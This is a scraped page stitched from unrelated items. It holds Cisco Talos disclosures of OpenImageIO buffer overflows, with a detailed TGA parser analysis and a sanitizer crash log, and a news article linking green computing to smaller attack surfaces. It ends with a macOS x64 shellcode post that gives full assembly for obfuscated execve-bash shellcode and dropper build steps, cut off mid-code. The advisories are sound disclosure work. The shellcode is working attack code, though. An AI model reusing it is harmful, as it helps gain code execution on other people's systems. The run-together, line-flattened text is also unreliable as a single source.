A heap based buffer overflow vulnerability exists in the PSD thumbnail resource parsing code of OpenImageIO 2.3.19.0. A specially-crafted PSD file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.

CVE-2022-41794: TALOS-2022-1626 || Cisco Talos Intelligence Group

Multiple code execution vulnerabilities exist in the IFFOutput::close() functionality of OpenImageIO Project OpenImageIO v2.4.4.2. A specially crafted ImageOutput Object can lead to a heap buffer overflow. An attacker can provide malicious input to trigger these vulnerabilities.This vulnerability arises when the `ymax` variable is set to 0xFFFF and `m_spec.format` is `TypeDesc::UINT8`

CVE-2022-43602: TALOS-2022-1656 || Cisco Talos Intelligence Group

A stack-based buffer overflow vulnerability exists in the TGA file format parser of OpenImageIO v2.3.19.0. A specially-crafted targa file can lead to out of bounds read and write on the process stack, which can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.

**SUMMARY**

A stack-based buffer overflow vulnerability exists in the TGA file format parser of OpenImageIO v2.3.19.0. A specially-crafted targa file can lead to out of bounds read and write on the process stack, which can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

OpenImageIO Project OpenImageIO v2.3.19.0

**PRODUCT URLS**

OpenImageIO - https://github.com/OpenImageIO/oiio

**CVSSv3 SCORE**

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H AC High because exploitability highly depends on the way the code is compiled Also, it is limited to being only an OOB read in current master branch. (comment: Aleks)  
\##### CWE

CWE-121 - Stack-based Buffer Overflow

**DETAILS**

OpenImageIO is an image processing library with easy-to-use interfaces and a sizable number of supported image formats. Useful for conversion and processing and even image comparison, this library is utilized by 3D-processing software from AliceVision (including Meshroom), as well as Blender for reading Photoshop .psd files.

When reading in Targa (.tga) files, the libOpenImageIO code flows are pretty quick and easy, matching the relative simpleness of the file format itself. Starting with TGAInput::open(const std::stirng &name, ImageSpec& newspec):

    bool
    TGAInput::open(const std::string& name, ImageSpec& newspec)
    {
        m_filename = name;
    
        DBG("TGA opening {}\n", name);
        uint64_t filesize = Filesystem::file_size(name);
        m_file            = Filesystem::fopen(name, "rb");
        if (!m_file) {
            errorf("Could not open file \"%s\"", name);
            return false;
        }
    
        // Due to struct packing, we may get a corrupt header if we just load the
        // struct from file; to address that, read every member individually save
        // some typing. Byte swapping is done automatically. If any fail, the file
        // handle is closed and we return false from open().
        if (!(read(m_tga.idlen) && read(m_tga.cmap_type) && read(m_tga.type)
              && read(m_tga.cmap_first) && read(m_tga.cmap_length)
              && read(m_tga.cmap_size) && read(m_tga.x_origin)
              && read(m_tga.y_origin) && read(m_tga.width) && read(m_tga.height)
              && read(m_tga.bpp) && read(m_tga.attr))) {
            errorfmt("Could not read full header");
            return false;
        }
    

The file is opened and we start reading the appropriate fields into the following struct:

    <(^.^)>#ptype m_tga
    type = struct {
        uint8_t idlen;
        uint8_t cmap_type;
        uint8_t type;
        uint16_t cmap_first;
        uint16_t cmap_length;
        uint8_t cmap_size;
        uint16_t x_origin;
        uint16_t y_origin;
        uint16_t width;
        uint16_t height;
        uint8_t bpp;
        uint8_t attr;
    }
    

Assorted validation on these parameters occurs, but is not really worth delving into. Assuming we pass all the checks, we end up reading the last 26 bytes of the file to see if it’s a TGA 2.0 image, which will require extra parsing:

    // now try and see if it's a TGA 2.0 image
    // TGA 2.0 files are identified by a nifty "TRUEVISION-XFILE.\0" signature
    bool check_for_tga2 = (filesize > 26 + 18);                             // [1]
    if (check_for_tga2 && Filesystem::fseek(m_file, -26, SEEK_END) != 0) {
        errorfmt("Could not seek to find the TGA 2.0 signature.");
        return false;
    }
    if (check_for_tga2 && read(m_foot.ofs_ext) && read(m_foot.ofs_dev)     // [2]
        && fread(&m_foot.signature, sizeof(m_foot.signature), 1)
        && !strncmp(m_foot.signature, "TRUEVISION-XFILE.", 17)) {            // [3]
        //std::cerr << "[tga] this is a TGA 2.0 file\n";
        m_spec.attribute("targa:version", 2);
        m_tga_version = 2;
    
        // read the extension area
        if (!fseek(m_foot.ofs_ext)) {   // [4]
            return false;
        }
    

At \[1\], we make sure we have the required 44 bytes, and assuming so, we read all the fields of the m_foot struct at \[2\]:

    <(^.^)>#ptype m_foot
    type = struct {
        uint32_t ofs_ext;
        uint32_t ofs_dev;
        char signature[18];
    }
    

If the signature is found via the strncmp at \[3\], then we read more specific information after that from the absolute offset into the file given by m_foot.ofs_ext at \[4\]:

        // check if this is a TGA 2.0 extension area
        // according to the 2.0 spec, the size for valid 2.0 files is exactly
        // 495 bytes, and the reader should only read as much as it understands
        // for < 495, we ignore this section of the file altogether
        // for > 495, we only read what we know
        uint16_t s;
        if (!read(s))
            return false;
        //std::cerr << "[tga] extension area size: " << s << "\n";
        if (s >= 495) {                 // [5]
            union { 
                unsigned char c[324];  // so as to accommodate the comments
                uint16_t s[6];
                uint32_t l;
            } buf;
    
            // load image author
            if (!fread(buf.c, 41, 1))
                return false;
            if (buf.c[0])
                m_spec.attribute("Artist", (char*)buf.c); // [6]
    
            // load image comments
            if (!fread(buf.c, 324, 1))     // [7]
                return false;
    

If the size of our extension area is greater than or equal to 495, then we end up hitting the branch at \[5\], where we start reading into the stack-based union buf, which is 324 bytes long. The basic codeflow after this is to just read bytes into the buf union and then call m_spec.attribute to set various attributes of our resultant object (the first example is seen at \[6\]). A clear oversight can be seen on line \[7\] however, as the entirety of the buf buffer is filled up by fread, a function that does not null terminate the end result. If we continue on in TGAinput::open(), we can quickly see an assortment of instances where this causes out-of-bounds stack data to be read:

            // concatenate the lines into a single string
            std::string tmpstr((const char*)buf.c);
            if (buf.c[81]) {
                tmpstr += "\n";
                tmpstr += (const char*)&buf.c[81];
            }
            if (buf.c[162]) {
                tmpstr += "\n";
                tmpstr += (const char*)&buf.c[162];
            }
            if (buf.c[243]) {
                tmpstr += "\n";
                tmpstr += (const char*)&buf.c[243]; 
            }
    

Each of these tmpstr += ... buf.c[] lines will read out of bounds assuming there are no null bytes within the buffer, but we can keep looking to see a more interesting instance:

            // timestamp
            if (!fread(buf.s, 2, 6))
                return false;
            if (buf.s[0] || buf.s[1] || buf.s[2] || buf.s[3] || buf.s[4]
                || buf.s[5]) {
                if (bigendian())
                    swap_endian(&buf.s[0], 6);
                sprintf((char*)&buf.c[12], "%04u:%02u:%02u %02u:%02u:%02u",   
                        buf.s[2], buf.s[0], buf.s[1], buf.s[3], buf.s[4],
                        buf.s[5]);
                m_spec.attribute("DateTime", (char*)&buf.c[12]);
            }
    
            // job name/ID
            if (!fread(buf.c, 41, 1))
                return false;
            if (buf.c[0])
                m_spec.attribute("DocumentName", (char*)buf.c);
    
            // job time
            if (!fread(buf.s, 2, 3))
                return false;
            if (buf.s[0] || buf.s[1] || buf.s[2]) {
                if (bigendian())
                    swap_endian(&buf.s[0], 3);
                sprintf((char*)&buf.c[6], "%u:%02u:%02u", buf.s[0], buf.s[1],  
                        buf.s[2]);
                m_spec.attribute("targa:JobTime", (char*)&buf.c[6]);
            }
    
            // software
            if (!fread(buf.c, 41, 1))       // [8]
                return false;
            uint16_t n;
            char l;
            if (!read(n) || !read(l))
                return false;
            if (buf.c[0]) {
                // tack on the version number and letter
                sprintf((char*)&buf.c[strlen((char*)buf.c)], " %u.%u%c",  // [10]
                        n / 100, n % 100, l != ' ' ? l : 0);
                m_spec.attribute("Software", (char*)buf.c);
            }
    

For each of these code blocks, more bytes are read in from the file and if there are any non-null bytes, a sprintf occurs. But if we look at the block starting at \[8\], we read in 41 new bytes and then use those bytes to formulate a Software attribute at the sprintf at \[10\]. But we can quickly see that the Software write occurs inside buf.c[strlen(buf.c)], which if we’ll remember, is not necessarily null terminated. Thus, the strlen(buf.c) can return a value greater than the size of the temp buf buffer, and the sprintf can out-of-bounds write to other variables in the stack. The exact location is obviously dependent on how the software is compiled, but it could potentially result in code execution.

It should be noted that this vulnerability is only an out-of-bounds read in the current master branch commit, as sprintf(buf[strlen(buf)]) is not used, and so we can only disclose out-of-bounds stack data instead.

**Crash Information**

    =================================================================
    ==507317==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffff9574 at pc 0x5555555c4e56 bp 0x7fffffff9070 sp 0x7fffffff8838
    READ of size 82 at 0x7fffffff9574 thread T0
    [Detaching after fork from child process 507321]
        #0 0x5555555c4e55 in strlen (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x70e55) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #1 0x7ffff7eca987 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator+=(char const*) (/lib/x86_64-linux-gnu/libstdc++.so.6+0x14d987) (BuildId: 725ef5da52ee6d881f9024d8238a989903932637)
        #2 0x7ffff35ed433 in OpenImageIO_v2_3::TGAInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_3::ImageSpec&) /oiio/oiio-2.3.19.0-unpatched/src/targa.imageio/targainput.cpp:338:24
        #3 0x7ffff35f8d49 in OpenImageIO_v2_3::TGAInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_3::ImageSpec&, OpenImageIO_v2_3::ImageSpec const&) /oiio/oiio-2.3.19.0-unpatched/src/targa.imageio/targainput.cpp:499:12
        #4 0x7ffff2577669 in OpenImageIO_v2_3::ImageInput::create(OpenImageIO_v2_3::string_view, bool, OpenImageIO_v2_3::ImageSpec const*, OpenImageIO_v2_3::Filesystem::IOProxy*, OpenImageIO_v2_3::string_view) /oiio/oiio-2.3.19.0-unpatched/src/libOpenImageIO/imageioplugin.cpp:758:27
        #5 0x7ffff2456589 in OpenImageIO_v2_3::ImageInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_3::ImageSpec const*, OpenImageIO_v2_3::Filesystem::IOProxy*) /oiio/oiio-2.3.19.0-unpatched/src/libOpenImageIO/imageinput.cpp:105:16
        #6 0x55555566f40f in LLVMFuzzerTestOneInput /oiio/fuzzing/./oiio_harness.cpp:77:16
        #7 0x5555555954e3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x414e3) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #8 0x55555557f25f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x2b25f) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #9 0x555555584fb6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x30fb6) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #10 0x5555555aedd2 in main (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x5add2) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #11 0x7fffe8b75d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
        #12 0x7fffe8b75e3f in __libc_start_main csu/../csu/libc-start.c:392:3
        #13 0x555555579b24 in _start (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x25b24) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
    
    Address 0x7fffffff9574 is located in stack of thread T0 at offset 1236 in frame
        #0 0x7ffff35e171f in OpenImageIO_v2_3::TGAInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_3::ImageSpec&) /oiio/oiio-2.3.19.0-unpatched/src/targa.imageio/targainput.cpp:168
    
      This frame has 45 object(s):
        [32, 48) 'agg.tmp'
        [64, 80) 'agg.tmp10'
        [96, 112) 'agg.tmp13'
        [128, 288) 'ref.tmp' (line 242)
        [352, 360) 'agg.tmp519'
        [384, 400) 'agg.tmp534'
        [416, 432) 'agg.tmp573'
        [448, 464) 'agg.tmp574'
        [480, 736) 'id' (line 272)
        [800, 816) 'agg.tmp605'
        [832, 848) 'agg.tmp606'
        [864, 880) 'agg.tmp678'
        [896, 898) 's' (line 305)
        [912, 1236) 'buf' (line 310)
        [1312, 1328) 'agg.tmp718' <== Memory access at offset 1236 partially underflows this variable
        [1344, 1360) 'agg.tmp719'
        [1376, 1408) 'tmpstr' (line 327)
        [1440, 1441) 'ref.tmp732' (line 327)
        [1456, 1472) 'agg.tmp806'
        [1488, 1504) 'agg.tmp808'
        [1520, 1536) 'agg.tmp939'
        [1552, 1568) 'agg.tmp941'
        [1584, 1600) 'agg.tmp972'
        [1616, 1632) 'agg.tmp974'
        [1648, 1664) 'agg.tmp1051'
        [1680, 1696) 'agg.tmp1053'
        [1712, 1714) 'n' (line 376)
        [1728, 1729) 'l' (line 377)
        [1744, 1760) 'agg.tmp1119'
        [1776, 1792) 'agg.tmp1121'
        [1808, 1824) 'agg.tmp1160'
        [1840, 1844) 'gamma' (line 410)
        [1856, 1872) 'agg.tmp1224'
        [1888, 1904) 'agg.tmp1227'
        [1920, 1936) 'agg.tmp1237'
        [1952, 1968) 'agg.tmp1239'
        [1984, 2016) 'ref.tmp1240' (line 419)
        [2048, 2064) 'agg.tmp1252'
        [2080, 2096) 'agg.tmp1317'
        [2112, 2114) 'res' (line 460)
        [2128, 2144) 'agg.tmp1369'
        [2160, 2176) 'agg.tmp1383'
        [2192, 2208) 'agg.tmp1401'
        [2224, 2240) 'agg.tmp1443'
        [2256, 2272) 'agg.tmp1474'
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x70e55) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25) in strlen
    Shadow bytes around the buggy address:
      0x10007fff7250: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
      0x10007fff7260: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
      0x10007fff7270: f2 f2 f2 f2 f2 f2 f2 f2 00 00 f2 f2 00 00 f2 f2
      0x10007fff7280: 00 00 f2 f2 02 f2 00 00 00 00 00 00 00 00 00 00
      0x10007fff7290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x10007fff72a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[04]f2
      0x10007fff72b0: f2 f2 f2 f2 f2 f2 f2 f2 00 00 f2 f2 00 00 f2 f2
      0x10007fff72c0: 00 00 00 00 f2 f2 f2 f2 f8 f2 00 00 f2 f2 00 00
      0x10007fff72d0: f2 f2 00 00 f2 f2 00 00 f2 f2 00 00 f2 f2 00 00
      0x10007fff72e0: f2 f2 00 00 f2 f2 00 00 f2 f2 f8 f2 f8 f2 00 00
      0x10007fff72f0: f2 f2 00 00 f2 f2 00 00 f2 f2 f8 f2 00 00 f2 f2
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==507317==ABORTING
    [Thread 0x7fffe2ff9640 (LWP 507320) exited]
    

**TIMELINE**

2022-10-19 - Initial Vendor Contact  
2022-10-20 - Vendor Disclosure  
2022-12-22 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2022-41981: TALOS-2022-1628 || Cisco Talos Intelligence Group

An information disclosure vulnerability exists in the DPXOutput::close() functionality of OpenImageIO Project OpenImageIO v2.4.4.2. A specially crafted ImageOutput Object can lead to leaked heap data. An attacker can provide malicious input to trigger this vulnerability.

CVE-2022-43592: TALOS-2022-1651 || Cisco Talos Intelligence Group

An information disclosure vulnerability exists in the OpenImageIO::decode_iptc_iim() functionality of OpenImageIO Project OpenImageIO v2.3.19.0. A specially-crafted TIFF file can lead to a disclosure of sensitive information. An attacker can provide a malicious file to trigger this vulnerability.

CVE-2022-41988: TALOS-2022-1643 || Cisco Talos Intelligence Group

Less is often more when it comes to both infosec and eco-friendly computing practices

Adam Bannister 22 December 2022 at 15:35 UTC  
Updated: 22 December 2022 at 15:42 UTC

Less is often more when it comes to both infosec and eco-friendly computing practices

Reducing the carbon footprint of computing architecture could play a role not just in tackling climate change but another growing, borderless threat too – cyber-attacks.

That’s according to co-authors of a white paper that highlights how best practices for making cloud infrastructure secure and sustainable sometimes happily overlap with the common pursuit of efficiencies.

“The lowest hanging fruit for sustainability is to do less and save less data, which should also reduce attack surfaces,” Anne Currie, co-author of draft paper ‘The State of Green Cloud Software Practices’ and community chair at Green Software Foundation, told The Daily Swig.

Read more of the latest news about secure development

Fellow co-author Paul Johnston, founder of UK tech consultancy Roundabout Labs and former senior developer advocate for serverless at Amazon Web Services (AWS), echoes these sentiments.

“My take is that generally, greener means fewer lines of code and that means smaller attack surface,” he told The Daily Swig. Johnston said this also means “better use of managed services which, again, generally means that your attack surface is reduced (services tend to be better for infosec)”.

Shutting down defunct applications and services has the same effect. “Unmaintained, zombie, workloads are bad for the environment as well as being a security risk,” reads the white paper, which also has contributors from Red Hat, Microsoft, and the Green Web Foundation.

**Memory-safe languages**

Developers are urged to “rewrite code to use a more lightweight framework or language. Moving from Python to Rust could result in a 10-fold cut in CPU requirements, for example,” says the white paper. This could have security benefits insofar as Rust is, unlike Python, memory safe by default.

The white paper also endorses Golang as “an efficient language and easier than the classic HPC options of C or C++”.

Again, there is some positive correlation here with security best practices given the US National Security Agency (NSA) recently urged (PDF) organizations to abandon languages lacking “inherent memory protection, such as C/C++”, in favor of memory-safe alternatives like Golang, C#, Java, Ruby, and Swift.

Indeed, C and C++ have been blamed for the fact 70% of Microsoft and Google Chrome flaws are memory safety vulnerabilities.

Rust is seen as considerably more energy-efficient than Python

**Security and C, C++**

However, it’s perhaps reductive to conclude that ‘lightweight’ languages – generally defined in terms of syntax, memory footprint, and implementation complexity – are inherently more secure or sustainable in every context.

After all, it’s perfectly possible to write a super-efficient, ‘green’ program in C++, but this is obviously contingent on the developer’s aptitude.

“Vulnerabilities are less likely if the language constructs make it so the easy or obvious way either can’t or is unlikely to be a vulnerability,” David A Wheeler, director of open source supply chain security at the Linux Foundation, told The Daily Swig.

DON’T MISS ‘We don’t teach developers how to write secure software’: David A Wheeler on reversing CVE surge

“C is a relatively simple programming language in the sense that it has relatively few constructs; in that view, it’s lightweight. However, many operations in C (array deference, pointer assignment, or dereference, etc) provide no automatic protections, so any mistake can quickly lead to a vulnerability.

“In contrast, C++ is a much larger and more complex language than C,” continued Wheeler. “In at least some measures it wouldn’t be considered lightweight. However, its lack of many safety mechanisms by default leads to the same problems.”

**Managed cloud services**

Managed cloud services are also endorsed by the sustainable computing white paper because, among other things, they offer high compute density and autoscaling via serverless services.

Yet some enterprises are still nervous about moving data security into shared environments. Ann Currie, a software engineer as well as sci-fi author, considers these fears completely unjustified.

“The cloud puts way more effort into infosec than companies,” says Currie. “It’s a classic area where specialists kick the butt of the (usually) generalists in enterprises.”

Nevertheless, Paul Johnston warns that delegating security functions does create risks.

Catch up with the latest articles about security best practices

“The benefits of a ‘greener’ approach (even if unintentional) are very positive from an infosec view,” he explains.

“However, there is a possible downside in that the security side that you resolve by using managed services or by reducing code can then lead to an element of complacency about the elements that are often a little more complicated.”

The white paper also recommends “moving more work to the client or edge”, which generates security challenges, albeit solvable ones, by extending the attack surface beyond the data center.

Another sustainability goal is surely an unequivocal plus for security. Currie, Johnston, and their fellow co-authors envisage a future where firmware remains backwards-compatible with devices that are at least 10 years old – keeping users protected by security patches for longer.

**Eco incentives**

Compliance and shareholder pressures plus lower running costs surely persuaded tech giants like Microsoft to set ambitious targets for becoming fully carbon neutral or even carbon negative.

Nevertheless, Currie suspects the potentially dire reputational and financial costs of neglecting cybersecurity are an even stronger incentive for change.

“Getting sustainability to the top of the priority list is harder than getting security there,” she says. “The good news is cloud managed services are usually fairly sustainable and secure.”

In other words: anyone trying to persuade organizations to make their computing practices greener would be wise to flag any incidental security benefits when doing so.

RECOMMENDED Deserialized WebSec roundup – Fortinet, Citrix bugs; another Uber breach; hacking NFTs

Lean, green coding machine: How sustainable computing drive can reduce attack surfaces

286 bytes small macOS/x64 execve Caesar cipher string null-free shellcode.

    # Shellcode Title: macOS/x64 - Execve Caesar Cipher String Null-Free Shellcode (286 Bytes)# Shellcode Author: Bobby Cooke (boku) @0xBoku github.com/boku7# Date: 12/20/2022# Tested on: macOS Monterey; 21.6.0 Darwin Kernel Version; x86_64# Shellcode Description:# macOS 64 bit shellcode. Uses execve syscall to spawn bash. The string is ceasar cipher crypted with the increment key of 7 within the shellcode. The shellcode finds the string in memory, copies the string to the stack, deciphers the string, and then changes the string terminator to 0x00.# Shoutout to IBM X-Force Red Adversary Simulation team! Currently working through EXP-312 and tinkering with macOS shellcoding. Shoutout to the offsec team for the cool course! # Compile & run:#     nasm -f macho64 execve.asm -o execve#     for x in $(objdump -d execve --x86-asm-syntax=intel | grep "^ " | cut -f1 | awk -F: '{print $2}'); do echo -n "\x"$x; done; echo#  # Add shellcode to dropper.c#     gcc dropper.c -o dropper#     sh-3.2$ pstree -p $(echo $$) | grep $$#       \-+= 28533 bobby sh#     sh-3.2$ ./dropper #       [+] testcode Length: 286 Bytes#       [+] Copying testcode from variable at 0x10aeeade0 to allocated RWX memory at 0x10b030000#       [+] Executing testcode at 0x10b030000#     bobby$ pstree -p $(echo $$) | grep -B1 $$#       \-+= 28533 bobby sh#         \-+= 28584 bobby (bash)bits 64global _main_main:  create_stackframe:    push rbp           ; push current base pointer to the stack    mov rbp, rsp       ; Set Base Stack Pointer for new Stack-Frame    sub rsp, 0x60      ; create space for string    mov [rbp-0x8], rsp ; Save destination string buffer address    jmp short lilypad_1; char * string eggHunter(egg);;     RAX                 RDIa; description: starts searching for the supplied egg starting from the callers return addresseggHunter:  mov rcx, [rsp]    ; start the egghunter from the caller function return address  hunt:    inc rcx         ; move to the hunter to the next byte    cmp [rcx], di   ; did we find the first  egg?    jne hunt        ; if not, continue hunt    add cx, 0x2     ; move hunter to 2nd egg location    cmp [rcx], di   ; did we find the second egg?    jne hunt        ; if not, continue hunt    add cx, 0x2     ; both eggs found! Move hunter +2 to return the start of buffer addr    xchg rax, rcx   ; return start of string address    ret; int length strsize(&string, terminator);;      RAX              RDI        RSI; description: gets string size of a string that is terminated with a predetermined non-null byte. Terminator byte not included.strsize:  xor rax, rax      ; clear register  xor rcx, rcx      ; set the counter to zero  strsize_loop:    mov rcx, rdi    ; start of string address    add rcx, rax    ; current memory location of char in string    cmp [rcx], sil  ; is this the null terminator?    je strsize_return    prevent_infinite_loop:      cmp ax, 0x1001          ; compare value in RAX to 0x1001 (prevent infinite mem scanning)      jg strsize_fail2find    ; if value in RAX is greater, jump to label    inc rax                   ; move to the next char in the string    jmp strsize_loop  strsize_fail2find:    xor rax, rax    ; return null/ 0x0  strsize_return:    retlilypad_1:  jmp short lilypad_2; char * string terminateString(&string, terminator);;     RAX                          RDI        RSI; description: Finds the string terminator and changes it to a null byteterminateString:  xor rcx, rcx      ; set the counter to zero  mov rcx, rdi      ; start address to look for terminator  loop_find_terminator:    cmp [rcx], sil  ; is this the null terminator?    je found_terminator    inc rcx         ; move to the next char in the string    jmp loop_find_terminator  found_terminator:    mov [rcx], al    ret; void * dst_addr move_memory(void *dst_addr, void *src_addr, size_t mem_size);;        RAX                         RDI             RSI              RDX; description: Move memory from source address to destination address;  ARG1 - RDI: destination address;  ARG2 - RSI: source address;  ARG3 - RDX: size of the memorymove_memory:  ; Loop through memory and move each byte from source to destination  push rdi                 ; save the destination address so we can return it at the end  xor rax, rax             ; register to temporarily hold the byte we are copying  move_memory_loop:    mov al, [rsi]          ; read the byte from source address into the temporary register    mov [rdi], al          ; write the byte at the destination address    inc rsi                ; increment source address    inc rdi                ; increment destination address    dec rdx                ; decrement memory size    jnz move_memory_loop   ; repeat loop until memory size is 0  ; Return to caller  pop rax                  ; return the destination address of the memory to the caller  retlilypad_2:  jmp short lilypad_3; void clear_memory(void *dst_addr, size_t mem_size);;                         RDI              RSI; description: Writes 0x00 bytes to a destination address;  ARG1 - RDI: a pointer to the destination address;  ARG2 - RSI: the size of the memory to be written toclear_memory:  mov rcx, rsi     ; load memory size from second argument into rcx  xor rax, rax  ; Loop through memory and write 0x00 to each byte in destination address  clrmem_loop:    mov byte [rdi], al   ; write 0x00 to byte in destination address    inc rdi              ; increment destination address    dec rcx              ; decrement memory size    jnz clrmem_loop      ; repeat loop until memory size is 0    ret ; Return to caller; void basicCaesar_Decrypt(int stringLength, unsigned char * string, int chiperDecrementKey);;                                  RDI                        RSI                RDXbasicCaesar_Decrypt:  bcd_loop:    sub [rsi], dl  ;  Subtract the value of dl from the memory location pointed to by RSI    inc rsi        ;  Increment RSI to point to the next character    dec rdi        ;  Decrement stringLength counter    test rdi,rdi   ;  Test if stringLength counter is zero    jnz bcd_loop   ;  If stringLength counter is not zero, jump back to the beginning of the loop  ret ; Return to callerlilypad_3:  ; *string = eggHunter(egg); Starts hunt from return address of caller  find_execve_string:     xor rdi, rdi        ; clear register    mov  di, 0xBCB0     ; Arg 1: Our egg    call eggHunter      ; returns string start address    mov [rbp-0x10], rax ; Save string address  get_strlen:    mov rdi, [rbp-0x10]    ; Arg 1: string start address    xor rsi, rsi           ; clear register    mov sil, 0xFF          ; Arg 2: string terminator    call strsize ; returns string size    mov [rbp-0x18], rax    ; Save string size        ; move_memory(dst_addr, src_addr, mem_size);  ;               RDI       RSI       RDX  copy_str2stack:    mov rdi, [rbp-0x8]      ; Arg 1: String buffer on stack    mov rsi, [rbp-0x10]     ; Arg 2: Original string location    mov rdx, [rbp-0x18]     ; Arg 3: size    call move_memory  ; basicCaesar_Decrypt(int stringLength, unsigned char * string, int chiperDecrementKey);  ;                             RDI                        RSI                RDX  do_caesar_cipher_decrypt:    mov rdi, [rbp-0x18]       ; Arg 1: string size    mov rsi, [rbp-0x8]        ; Arg 2: String buffer on stack    xor rdx, rdx              ; clear register    add dl, 0x7               ; Arg 3: Ceaser Chiper Key: 7    call basicCaesar_Decrypt  ; returns string size  do_terminate_string:    mov rdx, [rbp-0x18]     ; string size    mov rdi, [rbp-0x8]      ; String buffer on stack    add rdi, rdx            ; Arg 1: string terminator location    xor rsi, rsi            ; clear register    mov sil, 0x1            ; Arg 2: mem size to null    call clear_memory       ; returns string size  ; execve("/bin/bash",NULL,NULL)  execve:    mov  rdi, [rbp-0x8]  ; Arg 1: String buffer on stack      xor  rsi, rsi        ; Arg 2: NULL    xor  rdx, rdx        ; Arg 3: NULL    xor  rax, rax        ; clear register for syscall number setup    mov  al, 0x2         ; set a bit in register    ror  rax, 0x28       ; move the bit over 28 bits to the right in the register    mov  al, 0x3b        ; set the lower byte (AL) of the RAX register to the execve syscall number    syscall              ; do the syscall interrupt    fixstack:    add rsp, 0x60    ; clear allocated stack space    pop rbp          ; restore stack base pointer    ret              ; return to caller; ~~ Ceaser Chiper String Cryptor ~~; Original String:   /bin/bash; String Length:     9; Ceaser Chiper Key: 7; Chiper String:     6ipu6ihzo; unsigned char chiperString[] = {0x36,0x69,0x70,0x75,0x36,0x69,0x68,0x7a,0x6f};; unsigned char chiperString[] = "\x36\x69\x70\x75\x36\x69\x68\x7a\x6f";; Dechipered String: /bin/bashshell_path_string:  db  0xB0,0xBC,0xB0,0xBC,"6ipu6ihzo",0xFF###########################################################################################################################################// dropper.c#include <stdio.h>#include <sys/mman.h>#include <string.h>#include <stdlib.h>int (*execute_testcode)();const unsigned char testcode[] = 